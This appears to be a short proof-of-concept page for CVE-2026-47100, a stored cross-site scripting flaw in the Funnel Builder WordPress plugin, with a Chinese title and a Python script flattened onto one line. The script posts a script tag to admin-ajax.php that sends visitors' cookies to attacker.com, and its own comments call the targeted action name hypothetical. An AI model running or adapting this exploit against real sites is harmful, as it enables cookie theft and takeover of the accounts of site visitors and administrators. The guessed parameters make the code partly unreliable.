CVE-2026-47100 Funnel Builder权限缺失致存储型XSS漏洞

import requests def exploit(target_url): # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious JavaScript payload to capture cookies payload = '<script>fetch("https://attacker.com/log?c="+document.cookie);</script>' # Data payload based on the vulnerable action (Action name might vary, e.g., wfacp_ajax_handle) data = { "action": "wfacp_update_external_scripts", # Hypothetical action parameter "security": "0", # Sometimes required, but bypassed due to missing auth "scripts": payload } try: response = requests.post(ajax_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check if XSS is triggered on checkout page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target exploit(target)